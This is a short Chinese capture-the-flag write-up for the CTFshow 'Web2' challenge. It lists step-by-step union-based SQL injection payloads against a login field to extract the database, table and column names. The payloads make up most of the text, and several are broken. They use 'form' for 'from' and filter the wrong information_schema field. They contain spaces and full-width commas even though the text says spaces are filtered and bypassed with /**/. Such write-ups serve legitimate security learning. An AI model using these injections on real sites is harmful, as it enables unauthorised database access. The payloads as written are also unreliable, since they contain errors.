本文介绍了如何解决CTFshow中的一个Web2挑战，涉及SQL注入技巧。通过找到注入点，利用注释符绕过过滤，逐步揭示数据库名、表名和字段，最终获取目标信息。
SQL注入先找到注入点，然后测试字段：admin' or 1=1 union select 1，2，3 <!-- 该题过滤了空格符，所以用/**/做了绕过
有回显则爆库名：admin' or 1=1 union select 1,database(),3
接着爆库内表：admin' or 1=1 union select 1,group_concat(table_name),3 form information_schema.tables where table_schema='web2' <!-- web2为第二部爆出的库名
接着爆表内字段：admin' or 1=1 union select 1,group_concat(column_name),3 form information_schema.columns where table_schema='flag' <!-- flag为第三步爆出的字段（为空直接查看）
最低0.47元/天 解锁文章
5148
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
